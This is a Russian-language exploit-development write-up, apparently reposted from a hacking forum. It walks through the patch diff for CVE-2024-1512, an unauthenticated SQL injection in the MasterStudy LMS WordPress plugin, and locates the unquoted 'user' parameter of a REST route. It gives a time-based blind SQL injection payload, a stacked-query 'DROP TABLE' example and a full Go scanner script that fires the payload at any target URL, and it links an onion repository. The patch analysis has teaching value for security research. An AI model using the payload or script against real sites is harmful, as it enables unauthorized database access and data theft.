Дневник белой шляпы: Пишем приват эксплоит CVE-2024-1512
Я отсутствовал около месяца, в течение которого работал исследователем для двух клиентов. Понимая, что это краткосрочное сотрудничество, я решил работать на полную и считаю, что это было оправданно . Моя работа в основном заключалась в разработке эксплойтов для одного клиента и исследовании приватных нулевых дней для другого. Для веб-пентестера переход в роль исследователя является вершиной карьеры. Лучше быть младшим исследователем, чем старшим пентестером (имхо). Эта статья посвящена основам разработки эксплойтов для уязвимостей, не имеющих публичных эксплойтов, с опорой исключительно на анализ различий в патчах (спасибо клиенту за обучение).
Содержание - Выбор цели
- Установка
- Уязвимость
- REST в WordPress
- Так где же ты?
- Разработка Эксплоита (Детектор)
Выбор цели
Обычно я начинаю с уже доступных CVE или выбираю цели на основе их широкого использования. Как видно из моих предыдущих статей, я стараюсь избегать тем, связанных с SQL-инъекцией. На этот раз, однако, я искал цель, где мог бы использовать логирование баз данных для обнаружения SQL-инъекций. Сегодняшний анализ сосредоточен на плагине "WordPress LMS Plugin MasterStudy", который был загружен более 900 000 раз (https://wordpress.org/plugins/masterstudy-lms-learning-management-system/).
Установка
NIST часто предоставляет минимальные описания, но в этом случае описание удивительно детализировано. https://nvd.nist.gov/vuln/detail/CVE-2024-1512
The MasterStudy LMS WordPress Plugin – for Online Courses and Education plugin for WordPress is vulnerable to union based SQL Injection via the ‘user’ parameter of the /lms/stm-lms/order/items REST route in all versions up to, and including, 3.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Для эксплуатации этой уязвимости необходимо загрузить версию 3.2.5 плагина, доступную по адресу https://downloads.wordpress.org/plugin/masterstudy-lms-learning-management-system.3.2.5.zip, и затем распаковать ее.
После установки плагина следующим шагом является его активация.
Уязвимость
Представим, что мы знаем только о наличии SQL-инъекции от NIST, без дополнительных деталей. Нам нужно было бы самостоятельно определить то где находится уязвимость, задача, которая одновременно увлекательна и выполнима. Исходной точкой является изучение внесенных в код изменений.
Уязвимый код
(https://plugins.trac.wordpress.org/...asses/models/StmStatistics.php?rev=2795646#L1).
Исправленный код (https://plugins.trac.wordpress.org/...asses/models/StmStatistics.php?rev=3036794#L1).
Между двумя версиями существует множество различий, но наш фокус направлен исключительно на уязвимость SQL-инъекции. С моих первых дней изучения CVE, связанных с SQL-инъекциями, повторяющейся темой была "прямая передача ввода" / "directly passing input", что подразумевает отсутствие санитизации. Хотя я не программист и не обладаю формальным образованием в области языков программирования, вот что я вижу, когда смотрю на этот код:
function set_order_items_total_pricefunction woocommerce_order_items...
Я хочу проверить только функции, содержащие SQL-запросы. Я мог бы сразу перейти к функциям, принимающим пользовательский ввод, но было бы лучше понять, что делает каждая функция.
set_order_items_total_price
Эта функция извлекает заказы и связанные с ними элементы из базы данных, рассчитывает общую цену каждого заказа, суммируя цены отдельных элементов, и обновляет элементы заказа в базе данных. После обработки всех элементов в заказе она обновляет общую цену заказа в базе данных WordPress.
woocommerce_order_items
Эта функция извлекает заказы и связанные с ними элементы из базы данных. Для каждого заказа она перебирает элементы, извлекает цену каждого элемента из его метаданных и обновляет элементы заказа в базе данных.
create_table_order_items
Как следует из названия, эта функция создает таблицу stm_lms_order_items, выполняя SQL-запрос, показанный в коде. Она завершается использованием метода maybe_create_table (https://developer.wordpress.org/reference/functions/maybe_create_table/).
get_user_orders
Эта функция принимает параметры, такие как $offset, $limit и $params. Из других частей кода мы узнаем, что $offset и $limit предопределены:
367 $offset = 0;368 $limit = 10;
Что такое смещение и лимит?
Смещение: количество строк, которые следует пропустить перед началом возврата строк в наборе результатов.
Лимит: максимальное количество строк для возврата в наборе результатов, ограничивающее запрос определенным количеством строк.
Пример в MySQL:
Теперь, что насчет "$params"?
Массив - это базовая структура данных в программировании, которая хранит коллекцию элементов.
$dvij = array("Красивый", "с", "бородой");echo $dvij[0]; // Результат "Красивый"echo $dvij[2]; // Результат "бородой"
В нашем контексте массив $params позволяет настраивать запрос, включая различные критерии фильтрации, такие как id, created_date_from, created_date_to, total_price, status, user, post_author, orderby и order. Например, если мы хотим получить заказы пользователя для определенного идентификатора пользователя, мы установим параметр ‘user’ в массиве $params на нужный идентификатор пользователя. Параметры облегчают адаптацию запроса к конкретным потребностям.
Параметры, которые кажутся уязвимыми, включают id, total_price, status и user. Параметры $params[’created_date_from’] и $params[’created_date_to’] фильтруют заказы по диапазону дат создания, используя функции strtotime() и gmdate() для безопасного преобразования дат. Параметр orderby, хотя и не контролируется пользователем, санитизируется с использованием функции esc_sql(). Параметр post_author очищается с помощью (int). Например:
<?php$params = array(’post_author’ => ‘105 OR 1=1’);echo "Chistka author: ",(int)$params[’post_author’];?>// Результат: Chistka author: 105
get_user_order_items
Эта функция принимает те же параметры, что и предыдущая. Параметры, которые кажутся уязвимыми: id, total_price, status, user, и course_id. Параметр author_id очищается с помощью (int).
get_course_statisticas
Эта функция принимает параметры, такие как $date_start, $date_end, $user_id и $course_id, для извлечения данных, связанных с курсом, путем объединения нескольких таблиц и применения условий. Я не вижу никакой санитизации. Думаю, что эта функция доступна только для пользователей PRO. Хотя маловероятно, что уязвимость находится здесь, это стоит учитывать.
get_course_sales_statisticas
Аналогично предыдущей функции, она принимает параметры $user_id и $course_id. Ситуация остается неизменной.
Теперь давайте составим диаграмму с функциями и возможно уязвимыми параметрами:
REST в WordPress
REST означает Representational State Transfer, это стандартная веб-архитектура, которая использует HTTP-запросы для общения между клиентами и серверами. WordPress REST API позволяет разработчикам программно получать доступ к данным сайта WordPress, управлять ими и взаимодействовать с ними. Это включает в себя записи, страницы, медиа и многое другое, используя объекты JSON, что упрощает интеграцию с другими приложениями и сервисами.
Конечные точки (endpoint) REST в WordPress - это специфические URL, которые REST API предоставляет для взаимодействия с различными типами контента WordPress. Каждая конечная точка соответствует определенному типу ресурса, такому как записи, страницы, пользователи или пользовательские типы контента, и определяет методы (GET, POST, PUT, DELETE), которые можно использовать для взаимодействия с этим ресурсом. Конечные точки REST API можно найти, обратившись к корню API, который обычно находится по пути /wp-json/. Оттуда API предоставляет самодокументируемое руководство по доступным конечным точкам и их использованию.
Вопросы, которые я задавал себе на этом этапе, были следующие:
Как найти rest route?
Какие аргументы мне нужно использовать после того, как я rest route?
Чтобы найти остальные роуты, я решил открыть - http://localhost/index.php/wp-json
. Для этого плагина насчитывается не менее 50 роутов, что довольно много. Я решил проверить тот, который имеет название функции get_user_order_items, это /lms/stm-lms/order/items. Странно, но я не вижу никаких аргументов, хотя сама функция их имеет. Угадывание в данном случае не является опцией, потому что я провожу анализ белого ящика.
Другой способ, помимо проверки директории wp-json, - это поиск PHP-файлов с функцией "register_rest_route". register_rest_route() - это функция в WordPress, используемая для создания пользовательских конечных точек REST API.
grep -rnw /var/www/html/wp-content/plugins/masterstudy-lms-learning-management-system -e "^.register_rest_route" --color
Я открыл /var/www/html/wp-content/plugins/masterstudy-lms-learning-management-system/_core/lms/route.php
<?php/** * STM LMS Order Statistics */add_action( ‘rest_api_init’, function () { register_rest_route( ‘lms’, ‘/stm-lms/order/items’, array( ‘permission_callback’ => ‘__return_true’, ‘methods’ => ‘GET’, ‘callback’ => function () { return \stmLms\Classes\Models\StmStatistics::get_user_orders_api(); }, ) ); });add_action( ‘rest_api_init’, function () { register_rest_route( ‘lms’, ‘/stm-lms-user/search’, array( ‘permission_callback’ => ‘__return_true’, ‘methods’ => ‘GET’, ‘callback’ => function () { // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( isset( $_GET[’search’] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return \stmLms\Classes\Models\StmUser::search( $_GET[’search’] ); } return array(); }, ) ); });add_action( ‘rest_api_init’, function () { register_rest_route( ‘lms’, ‘/stm-lms-user/course-list’, array( ‘permission_callback’ => ‘__return_true’, ‘methods’ => ‘GET’, ‘callback’ => function () { // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( isset( $_GET[’author_id’] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $user = new \stmLms\Classes\Models\StmUser( $_GET[’author_id’] ); $course_list = array(); $courses = $user->get_courses(); foreach ( $courses as $course ) { $course_list[] = array( ‘id’ => $course->ID, ‘title’ => $course->post_title, ); } return $course_list; } return array(); }, ) ); });/** * stm lms payout */add_action( ‘rest_api_init’, function () { register_rest_route( ‘lms’, ‘/stm-lms-pauout/settings’, array( ‘permission_callback’ => ‘__return_true’, ‘methods’ => ‘POST’, ‘callback’ => function () { return \stmLms\Classes\Models\StmLmsPayout::settings_payment_method(); }, ) ); });add_action( ‘rest_api_init’, function () { register_rest_route( ‘lms’, ‘/stm-lms-pauout/payment/set_default’, array( ‘permission_callback’ => ‘__return_true’, ‘methods’ => ‘POST’, ‘callback’ => function () { return \stmLms\Classes\Models\StmLmsPayout::payment_set_default(); }, ) ); });add_action( ‘rest_api_init’, function () { register_rest_route( ‘lms’, ‘/stm-lms-pauout/pay-now’, array( ‘permission_callback’ => ‘__return_true’, ‘methods’ => ‘GET’, ‘callback’ => function () { return \stmLms\Classes\Models\StmLmsPayout::pay_now(); }, ) ); });add_action( ‘rest_api_init’, function () { register_rest_route( ‘lms’, ‘/stm-lms-pauout/pay-now/(?P<id>\d+)’, array( ‘permission_callback’ => ‘__return_true’, ‘methods’ => ‘GET’, ‘callback’ => function ( $request ) { return \stmLms\Classes\Models\StmLmsPayout::pay_now_by_payout_id( intval( $request->get_param( ‘id’ ) ) ); }, ) ); });add_action( ‘rest_api_init’, function () { register_rest_route( ‘lms’, ‘/stm-lms-pauout/payed/(?P<id>\d+)’, array( ‘permission_callback’ => ‘__return_true’, ‘methods’ => ‘GET’, ‘callback’ => function ( $request ) { return \stmLms\Classes\Models\StmLmsPayout::payed( intval( $request->get_param( ‘id’ ) ) ); }, ) ); });add_action( ‘rest_api_init’, function () { register_rest_route( ‘lms’, ‘/stm-lms-payout/paypal-email’, array( ‘permission_callback’ => ‘__return_true’, ‘methods’ => ‘POST’, ‘callback’ => function () { return \stmLms\Classes\Models\StmUser::save_paypal_email(); }, ) ); });
В файле много функций, мне нужно проверить только функции, которые находятся в файле StmStatistics.php, потому что изменения были сделаны только в этом файле.
Ни одна из перечисленных мной функций на самом деле не находится в rest маршруте. Но есть функция get_user_orders_api, которая находится в StmStatistics.php.
365 public static function get_user_orders_api()366 {367 $offset = 0;368 $limit = 10;369370 if (isset($_GET[’offset’]) AND !empty($_GET[’offset’]))371 $offset = intval($_GET[’offset’]);372373 if (isset($_GET[’limit’]) AND !empty($_GET[’limit’]))374 $limit = intval($_GET[’limit’]);375376 $params = $_GET;377378 $params[’completed’] = true;379380 if ($params[’author_id’])381 return self::get_user_order_items($offset, $limit, $params);382 }
Так где же ты?
Функция get_user_orders_api использует функцию get_user_order_items, которая принимает $params, которые могут быть введены пользователем. Чтобы мы могли использовать функцию get_user_order_items, мы должны использовать параметр author_id. Но, как мы знаем, параметр author_id сам очищен с использованием int. Так что уязвимость, вероятно, кроется в параметрах id, total_price, status, user или course_id.
То, что мы знаем на данный момент, это то, что наш rest маршрут - /lms/stm-lms/order/items, и теперь мы знаем доступные параметры. Таким образом, полный URL будет http://localhost/?rest_route=/lms/stm-lms/order/items
. Прежде чем продолжить, я включу логирование базы данных. Чтобы это сделать:
sudo nano /etc/mysql/my.cnftouch /var/log/mysql/mysql.logchown mysql:mysql /var/log/mysql/mysql.log# Добавьте эту строку[mysqld]general_log_file = /var/log/mysql/mysql.loggeneral_log = 1#Перезагрузите mysqlservice mysql restart
Теперь мы можем проверить запросы, сделанные к базе данных.
sudo tail -f /var/log/mysql/mysql.log
Я знаю, что мне нужно использовать author_id, чтобы функция get_user_order_items была использована, которая имеет другие параметры, такие как user. Я решил отправить запрос со всеми параметрами http://localhost/?rest_route=/lms/stm-lms/order/items&author_id=111&id=222&total_price=333&status=444&user=555&course_id=666
Лог MySQL:
96 Connect wordpress_user@localhost on using Socket 96 Query SET NAMES utf8mb4 96 Query SET NAMES ‘utf8mb4’ COLLATE ‘utf8mb4_unicode_520_ci’ 96 Query SELECT @@SESSION.sql_mode 96 Query SET SESSION sql_mode=’ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION’ 96 Init DB wordpress_db 96 Query SELECT option_name, option_value FROM wp_options WHERE autoload = ‘yes’ 96 Query SELECT option_value FROM wp_options WHERE option_name = ‘stm_lms_addons’ LIMIT 1 96 Query SELECT option_value FROM wp_options WHERE option_name = ‘WPLANG’ LIMIT 1 96 Query SELECT option_value FROM wp_options WHERE option_name = ‘stm_lms_paypal_settings’ LIMIT 1 96 Query SELECT * FROM wp_users WHERE user_login = ‘admin’ LIMIT 1 96 Query SELECT user_id, meta_key, meta_value FROM wp_usermeta WHERE user_id IN (1) ORDER BY umeta_id ASC 96 Query SELECT * FROM wp_posts WHERE ID = 7 LIMIT 1 96 Query SELECT t.term_id FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy IN (’wp_theme’) AND t.name IN (’twentytwentyfour’) LIMIT 1 96 Query SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND ( 0 = 1) AND wp_posts.post_type = ‘wp_template_part’ AND ((wp_posts.post_status = ‘publish’)) GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC 96 Query SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = ‘page’ AND ((wp_posts.post_status = ‘publish’)) ORDER BY wp_posts.post_date DESC 96 Query SELECT post_id, meta_key, meta_value FROM wp_postmeta WHERE post_id IN (6,7,8,9,2) ORDER BY meta_id ASC 96 Query SELECT wp_posts.ID FROM wp_posts INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id ) WHERE 1=1 AND ( ( wp_postmeta.meta_key = ‘elementor_courses_page’ AND wp_postmeta.meta_value = ‘yes’ )) AND wp_posts.post_type = ‘page’ AND ((wp_posts.post_status = ‘publish’)) GROUP BY wp_posts.ID ORDER BY wp_posts.post_title ASC LIMIT 0, 1 96 Query SELECT option_value FROM wp_options WHERE option_name = ‘_transient_timeout_stm_lms_chat_1_chat’ LIMIT 1 96 Query SELECT option_value FROM wp_options WHERE option_name = ‘_transient_stm_lms_chat_1_chat’ LIMIT 1 96 Query SELECT option_value FROM wp_options WHERE option_name = ‘theme_switched’ LIMIT 1 96 Query SELECT option_value FROM wp_options WHERE option_name = ‘_transient_timeout_stm_lms_routes_pages_transient’ LIMIT 1 96 Query SELECT option_value FROM wp_options WHERE option_name = ‘_transient_stm_lms_routes_pages_transient’ LIMIT 1 96 Query SELECT option_value FROM wp_options WHERE option_name = ‘_transient_timeout_stm_lms_routes_pages_config_transient’ LIMIT 1 96 Query SELECT option_value FROM wp_options WHERE option_name = ‘_transient_stm_lms_routes_pages_config_transient’ LIMIT 1 96 Query SELECT option_value FROM wp_options WHERE option_name = ‘_transient_timeout_stm_lms_routes_pages_routes_transient’ LIMIT 1 96 Query SELECT option_value FROM wp_options WHERE option_name = ‘_transient_stm_lms_routes_pages_routes_transient’ LIMIT 1 96 Query SELECT COUNT(DISTINCT lms_order_items.id) as count FROM `wp_stm_lms_order_items` as lms_order_items left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID ) left join `wp_posts` as course on (course.ID = lms_order_items.`object_id`) left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = ‘stm-orders’ AND meta_status.`meta_key` = ‘status’ AND meta_status.`meta_value` = ‘completed’) left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = ‘wc-completed’) WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND ( meta.meta_key = "_order_total" AND meta.meta_value = "333" ) AND ( ( meta.meta_key = "status" AND meta.meta_value = "444" ) OR ( _order.post_status = "444" ) ) AND ( (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR (meta.meta_key = "_customer_user" AND meta.meta_value in (555)) ) AND course.ID = "666" AND course.`post_author` = "111" AND ( meta_status.post_id = _order.ID OR order_status.ID = _order.ID ) ORDER BY lms_order_items.ID DESC 96 Query SELECT SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price FROM `wp_stm_lms_order_items` as lms_order_items left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID ) left join `wp_posts` as course on (course.ID = lms_order_items.`object_id`) left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = ‘stm-orders’ AND meta_status.`meta_key` = ‘status’ AND meta_status.`meta_value` = ‘completed’) left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = ‘wc-completed’) WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND ( meta.meta_key = "_order_total" AND meta.meta_value = "333" ) AND ( ( meta.meta_key = "status" AND meta.meta_value = "444" ) OR ( _order.post_status = "444" ) ) AND ( (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR (meta.meta_key = "_customer_user" AND meta.meta_value in (555)) ) AND course.ID = "666" AND course.`post_author` = "111" AND ( meta_status.post_id = _order.ID OR order_status.ID = _order.ID ) ORDER BY lms_order_items.ID DESC 96 Query SELECT lms_order_items.*, course.post_title as name, _order.`post_date` as date_created FROM `wp_stm_lms_order_items` as lms_order_items left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID ) left join `wp_posts` as course on (course.ID = lms_order_items.`object_id`) left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = ‘stm-orders’ AND meta_status.`meta_key` = ‘status’ AND meta_status.`meta_value` = ‘completed’) left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = ‘wc-completed’) left join wp_postmeta as meta on (meta.post_id = _order.ID) WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND ( meta.meta_key = "_order_total" AND meta.meta_value = "333" ) AND ( ( meta.meta_key = "status" AND meta.meta_value = "444" ) OR ( _order.post_status = "444" ) ) AND ( (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR (meta.meta_key = "_customer_user" AND meta.meta_value in (555)) ) AND course.ID = "666" AND course.`post_author` = "111" AND ( meta_status.post_id = _order.ID OR order_status.ID = _order.ID ) GROUP BY lms_order_items.id ORDER BY lms_order_items.ID DESC LIMIT 10 96 Quit
Большинство запросов находятся внутри двойных кавычек, за исключением (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR(meta.meta_key = "_customer_user" AND meta.meta_value in (555))
- что относится к параметру пользователя. Параметры, отличные от "user", экранируют (escape) кавычки при передаче в базу данных, но это не будет иметь значения для параметра "user", так как он не находится в кавычках, и нам не нужно экранировать. Например, если я поставлю 222" как id, чтобы выйти из кавычек в sql запросе, то в базу запрос пойдёт такой _order.ID = "222\\\""
, а user и так не внутри кавычек, так что такой проблемы с этим параметром нет.
Разработка Эксплоита (Детектор)
Часть запроса, которую мы можем изменить, это 555:
( (meta.meta_key = "user_id" AND meta.meta_value IN (555)) OR (meta.meta_key = "_customer_user" AND meta.meta_value IN (555)))
Что такое Стек Запрос?
Стек запрос - это техника SQL-инъекции, при которой внедренный SQL-код включает несколько SQL-запросов, разделенных точками с запятой. Например, в приведенном ниже случае я внедрил полезную нагрузку ’ OR 1=1; DROP TABLE users; --.
SELECT * FROM users WHERE username = ‘xss’ AND password = ‘pass’;
SELECT * FROM users WHERE username = ‘’ OR 1=1; DROP TABLE users; --’ AND password = ‘pass’;
Что если я использую стековый запрос в нашем случае?
(meta.meta_key = "user_id" AND meta.meta_value IN (;SELECT sleep(5);-- -))
Я открыл URL: http://localhost/?rest_route=/lms/stm-lms/order/items&author_id=111&user=;SELECT sleep(5);-- -
Результат с SQL-сервера находится в первых двух полезных нагрузках, которые я выбрал, что показывает, что стековые запросы в данном случае не проходят, потому что все идет как один запрос. В то время в втором запросе (Я ВРУЧНУЮ скопировал QUERY 963 в MySQL), мы видим, что было сделано два запроса с SELECT sleep(5) - если бы это был наш случай, что не так, стековые запросы были бы возможны.
Что насчет SQLMap?
SQLMap нашел слепую SQL-инъекцию:
Полезная нагрузка: 555) AND (SELECT 1 FROM (SELECT SLEEP(5))AA
- SELECT sleep(5): Это подзапрос, который вызывает функцию sleep(5), заставляя базу данных приостановить работу на 5 секунд.
- AA: Это псевдоним для подзапроса. В SQL можно дать подзапросу псевдоним, добавив идентификатор после скобок подзапроса. Запрос не будет работать без него, потому что синтаксис SQL требует, чтобы подзапросы в предложении FROM имели псевдонимы, чтобы на них можно было ссылаться в других местах запроса.
- SELECT 1: Эта часть подзапроса используется для возврата постоянного значения 1. В нашем контексте конкретное возвращаемое значение не важно. Главное, чтобы подзапрос (включая часть sleep(5)) выполнялся. SELECT 1 - это просто простая операция, чтобы обеспечить подзапросу допустимую форму SQL (чтобы синтакс был правильным).
Я написал простой эксплоит, который отправляет полезную нагрузку и проверяет, уязвим ли сайт. Если ответ ожидается более 5 секунд, то сайт, вероятно, уязвим, в противном случае - нет.
package mainimport ( "crypto/tls" "fmt" "net/http" "net/url" "os" "time")func main() { if len(os.Args) < 2 { fmt.Println("Usage: go run main.go http://example.com") os.Exit(1) } baseURL := os.Args[1] query1 := "/?rest_route=/lms/stm-lms/order/items&author_id=111&user=" query2 := "1) AND (SELECT 1 FROM (SELECT sleep(5))AA" encodedQuery := url.QueryEscape(query2) fullURL := baseURL + query1 + encodedQuery fmt.Println(fullURL) http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} client := &http.Client{ Timeout: 100 * time.Second, } startTime := time.Now() resp, err := client.Get(fullURL) if err != nil { fmt.Printf("Error making request: %v\n", err) os.Exit(1) } defer resp.Body.Close() responseTime := time.Since(startTime) if responseTime >= 5*time.Second { fmt.Printf("Success: %s | Response Time:%s\n", baseURL, responseTime) } else { fmt.Printf("Fail: %s | Response Time:%s\n", baseURL, responseTime) }}
Эксплоит тут:
http://damaga377vyvydeqeuigxvl6g5sbmipoxb5nne6gpj3sisbnslbhvrqd.onion/git/cve/CVE/src/branch/main/CVE-2024-1512
Автор grozdniyandy
Источник https://xss.is/